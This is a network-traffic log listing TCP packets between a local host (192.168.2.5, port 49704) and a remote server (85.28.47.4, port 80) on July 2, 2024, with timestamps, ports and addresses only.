Jul 2, 2024 04:12:08.719372988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719383001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719396114 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719399929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719415903 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719433069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719435930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719453096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719476938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719535112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719578028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719587088 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719604969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719614029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719639063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719765902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719778061 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719789982 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719805002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719809055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719815969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719819069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719835043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719847918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719871998 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.719957113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719966888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.719984055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.720004082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.720027924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.720052958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.720063925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.720079899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.720093012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.720096111 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.720109940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.720119953 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.720144987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.804969072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.804984093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805003881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805023909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805033922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805052996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805063009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805062056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805115938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805146933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805179119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805191040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805191994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805219889 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805224895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805242062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805249929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805268049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805280924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805288076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805291891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805315971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805326939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805335999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805346012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805351019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805361032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805376053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805385113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805396080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805396080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805416107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805421114 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805428982 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805444002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805450916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805463076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805463076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805469036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805488110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805496931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805497885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805511951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805516958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805536985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805537939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805547953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805562019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805562973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805581093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805588961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805603981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805614948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805614948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805632114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805643082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805644035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.805665970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.805685997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808439970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808463097 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808473110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808499098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808511972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808535099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808545113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808562040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808572054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808573008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808579922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808595896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808598042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808617115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808619976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808631897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808643103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808650017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808667898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808680058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808690071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808693886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808707952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808718920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808720112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808737040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808751106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808804989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808816910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808834076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808845997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808851004 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808861971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808868885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808878899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808888912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808892012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808896065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808900118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808932066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808934927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808945894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808962107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808979034 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.808979034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.808995008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809020996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809099913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809109926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809127092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809138060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809158087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809158087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809159040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809170961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809170961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809190035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809200048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809201956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809211016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809218884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809232950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809232950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809248924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809256077 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809261084 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809279919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809279919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809293032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809297085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809307098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.809319019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.809344053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811527014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811577082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811628103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811640024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811657906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811666965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811671972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811677933 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811697006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811707020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811713934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811731100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811737061 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811743975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811759949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811762094 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811788082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811811924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811826944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811839104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811855078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811866045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811873913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811882973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811892033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811894894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811897993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811916113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811919928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811934948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811939001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811949015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811961889 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811963081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811969042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.811985016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.811995029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.812004089 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.812005043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.812025070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.812027931 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.812036991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.812051058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.812051058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.812061071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.812072039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.812081099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.812082052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.812092066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.812100887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.812112093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.812117100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.812130928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.812136889 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.812149048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.812160969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.812171936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.812194109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.894599915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894612074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894637108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894646883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894664049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894665956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.894680977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894701958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894701958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.894716978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894732952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894747972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.894767046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.894798994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894809961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894825935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894836903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.894841909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894866943 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.894874096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894884109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894895077 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.894902945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894921064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894925117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.894937992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894953966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.894961119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894969940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.894975901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894990921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.894998074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895005941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895016909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895020008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895030975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895045996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895052910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895065069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895066977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895078897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895081043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895090103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895107985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895112991 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895119905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895145893 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895149946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895159960 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895172119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895181894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895190001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895200968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895210981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895217896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895226002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895231009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895240068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895256042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895266056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895271063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895292997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895293951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895304918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895318031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895323038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895334005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895339012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895348072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895356894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.895365953 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895380020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.895412922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897007942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897018909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897023916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897058010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897068024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897084951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897099972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897109032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897157907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897167921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897178888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897197008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897207022 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897265911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897273064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897277117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897296906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897305965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897322893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897329092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897334099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897351027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897355080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897372007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897397995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897448063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897495985 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897562981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897578955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897598028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897608042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897615910 CEST	80	49704	85.28.47.4	192.168.2.5
